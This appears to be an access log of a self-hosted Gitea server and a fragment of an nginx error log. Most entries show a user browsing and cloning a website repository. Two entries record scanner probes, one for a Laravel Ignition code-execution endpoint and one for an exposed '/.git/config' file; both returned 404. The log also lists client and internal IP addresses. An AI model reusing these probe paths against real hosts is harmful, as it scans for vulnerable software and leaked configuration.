[16/Feb/2026:12:05:27 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage" [Client 222.117.41.51] [Length 20221] [Gzip 3.45] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:36 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:05:38 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/commit/b288a964d15beae093be1af2456d67149d3aafa1" [Client 222.117.41.51] [Length 141938] [Gzip 14.50] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:38 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/honeywell-logo.svg" [Client 222.117.41.51] [Length 5020] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:38 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/raw/commit/90c7377285c0e63de46467557a2f081b33097f03/html/assets/images/dcsintegration.png" [Client 222.117.41.51] [Length 2525271] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:38 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/BatchControl.png" [Client 222.117.41.51] [Length 1400401] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:38 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/ControlRoom7.png" [Client 222.117.41.51] [Length 2316603] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:38 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/dcsintegration.png" [Client 222.117.41.51] [Length 533814] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:44 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:05:56 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:05:56 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html" [Client 222.117.41.51] [Length 17353] [Gzip 3.59] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:56 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/tree-view/branch/main/?sub_path=html" [Client 222.117.41.51] [Length 21742] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:00 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:06:00 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html/assets" [Client 222.117.41.51] [Length 13949] [Gzip 3.24] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:01 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/tree-view/branch/main/?sub_path=html%2Fassets" [Client 222.117.41.51] [Length 26048] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:05 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:06:05 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html/assets/images" [Client 222.117.41.51] [Length 14167] [Gzip 3.64] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:05 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/tree-view/branch/main/?sub_path=html%2Fassets%2Fimages" [Client 222.117.41.51] [Length 31421] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:13 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:06:14 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:06:14 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html/assets/js" [Client 222.117.41.51] [Length 13140] [Gzip 3.22] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:14 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/tree-view/branch/main/?sub_path=html%2Fassets%2Fjs" [Client 222.117.41.51] [Length 27041] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:16 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:12:06:16 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html/assets/js/i18n.js" [Client 222.117.41.51] [Length 27478] [Gzip 5.77] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:16 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/tree-view/branch/main/?sub_path=html%2Fassets%2Fjs%2Fi18n.js" [Client 222.117.41.51] [Length 27041] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:06:37 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
[16/Feb/2026:13:03:09 +0000] - - 301 - HEAD http git.hanmocnn.co.kr "/" [Client 176.65.148.161] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" "-"
[16/Feb/2026:13:03:09 +0000] - - 301 - HEAD http git.hanmocnn.co.kr "/" [Client 176.65.148.161] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" "-"
[16/Feb/2026:13:03:10 +0000] - - 499 - HEAD https git.hanmocnn.co.kr "/" [Client 176.65.148.161] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" "http://git.hanmocnn.co.kr"
[16/Feb/2026:13:04:24 +0000] - 303 303 - GET https git.hanmocnn.co.kr "/" [Client 222.117.41.51] [Length 38] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 303 303 - GET https git.hanmocnn.co.kr "/user/login" [Client 222.117.41.51] [Length 28] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/" [Client 222.117.41.51] [Length 11625] [Gzip 4.88] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 304 304 - GET https git.hanmocnn.co.kr "/assets/css/theme-gitea-dark-protanopia-deuteranopia.css?v=1.25.3" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/assets/css/index.css?v=1.25.3" [Client 222.117.41.51] [Length 55932] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/assets/js/index.js?v=1.25.3" [Client 222.117.41.51] [Length 88858] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 304 304 - GET https git.hanmocnn.co.kr "/assets/img/logo.svg" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 304 304 - GET https git.hanmocnn.co.kr "/avatars/a16511949167cdebe904492446eff88b?size=56" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 304 304 - GET https git.hanmocnn.co.kr "/assets/img/avatar_default.png" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 304 304 - GET https git.hanmocnn.co.kr "/avatars/a16511949167cdebe904492446eff88b?size=48" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 304 304 - GET https git.hanmocnn.co.kr "/assets/css/index-domready.3e022997.css" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/assets/js/index-domready.d839c4b7.js" [Client 222.117.41.51] [Length 220214] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=" [Client 222.117.41.51] [Length 12] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:24 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false" [Client 222.117.41.51] [Length 5594] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:28 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage" [Client 222.117.41.51] [Length 20211] [Gzip 3.45] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:31 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html" [Client 222.117.41.51] [Length 17344] [Gzip 3.59] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:31 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/tree-view/branch/main/?sub_path=html" [Client 222.117.41.51] [Length 21742] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:39 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage/src/branch/main/html/index.html?only_content=true" [Client 222.117.41.51] [Length 28004] [Gzip 10.81] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:04:41 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/notifications/new" [Client 222.117.41.51] [Length 10] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:05:02 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/notifications/new" [Client 222.117.41.51] [Length 10] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:05:32 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/notifications/new" [Client 222.117.41.51] [Length 10] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:06:12 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/notifications/new" [Client 222.117.41.51] [Length 10] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:13:06:40 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/notifications/new" [Client 222.117.41.51] [Length 10] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" "-"
[16/Feb/2026:16:23:33 +0000] - 404 404 - GET https git.hanmocnn.co.kr "/_ignition/execute-solution" [Client 98.87.163.10] [Length 11] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15" "-"
[16/Feb/2026:19:08:31 +0000] - - 301 - GET http git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-upload-pack" [Client 222.117.41.51] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:19:08:31 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-upload-pack" [Client 222.117.41.51] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:19:08:31 +0000] - 200 200 - POST https git.hanmocnn.co.kr "/windpacer/homepage.git/git-upload-pack" [Client 222.117.41.51] [Length 65] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:22:05:29 +0000] - - 301 - GET http git.hanmocnn.co.kr "/" [Client 185.247.137.74] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" "-"
[16/Feb/2026:22:05:30 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/" [Client 185.247.137.74] [Length 5677] [Gzip 2.43] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" "http://git.hanmocnn.co.kr"
[16/Feb/2026:22:05:32 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/assets/img/favicon.svg" [Client 87.236.176.8] [Length 1040] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" "-"
[16/Feb/2026:22:05:32 +0000] - 301 301 - GET https git.hanmocnn.co.kr "/favicon.ico" [Client 87.236.176.137] [Length 58] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" "-"
[16/Feb/2026:22:05:34 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/assets/img/favicon.png" [Client 87.236.176.137] [Length 4136] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" "https://git.hanmocnn.co.kr/favicon.ico"
[16/Feb/2026:23:44:45 +0000] - 404 404 - GET https git.hanmocnn.co.kr "/.git/config" [Client 45.148.10.238] [Length 11] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" "-"

View File

@@ -355,3 +355,8 @@
2026/02/15 19:18:14 [warn] 843#843: *25344 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/51/0000005517 while reading upstream, client: 216.73.216.188, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom5.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom5.png", host: "git.hanmocnn.co.kr" 2026/02/15 19:18:14 [warn] 843#843: *25344 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/51/0000005517 while reading upstream, client: 216.73.216.188, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom5.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom5.png", host: "git.hanmocnn.co.kr"
2026/02/15 19:19:10 [warn] 841#841: *25348 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/51/0000005518 while reading upstream, client: 216.73.216.188, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom6.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom6.png", host: "git.hanmocnn.co.kr" 2026/02/15 19:19:10 [warn] 841#841: *25348 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/51/0000005518 while reading upstream, client: 216.73.216.188, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom6.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom6.png", host: "git.hanmocnn.co.kr"
2026/02/15 19:19:10 [warn] 841#841: *25348 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/51/0000005519 while reading upstream, client: 216.73.216.188, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom1.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom1.png", host: "git.hanmocnn.co.kr" 2026/02/15 19:19:10 [warn] 841#841: *25348 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/9/51/0000005519 while reading upstream, client: 216.73.216.188, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom1.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/2681563c08aa04fbea2862fbca273762e67c16d6/.Backup/html/assets/images/ControlRoom1.png", host: "git.hanmocnn.co.kr"
2026/02/16 12:05:06 [warn] 876#876: *35963 a client request body is buffered to a temporary file /tmp/nginx/body/3/11/0000010113, client: 222.117.41.51, server: git.hanmocnn.co.kr, request: "POST /windpacer/homepage.git/git-receive-pack HTTP/2.0", host: "git.hanmocnn.co.kr"
2026/02/16 12:05:38 [warn] 877#877: *35968 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/11/0000010114 while reading upstream, client: 222.117.41.51, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/ControlRoom7.png", host: "git.hanmocnn.co.kr"
2026/02/16 12:05:38 [warn] 877#877: *35968 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/11/0000010115 while reading upstream, client: 222.117.41.51, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/90c7377285c0e63de46467557a2f081b33097f03/html/assets/images/dcsintegration.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/90c7377285c0e63de46467557a2f081b33097f03/html/assets/images/dcsintegration.png", host: "git.hanmocnn.co.kr"
2026/02/16 12:05:38 [warn] 877#877: *35968 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/11/0000010116 while reading upstream, client: 222.117.41.51, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/BatchControl.png", host: "git.hanmocnn.co.kr"
2026/02/16 12:05:38 [warn] 877#877: *35968 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/11/0000010117 while reading upstream, client: 222.117.41.51, server: git.hanmocnn.co.kr, request: "GET /windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/dcsintegration.png HTTP/2.0", upstream: "http://192.168.0.250:3000/windpacer/homepage/raw/commit/b288a964d15beae093be1af2456d67149d3aafa1/html/assets/images/dcsintegration.png", host: "git.hanmocnn.co.kr"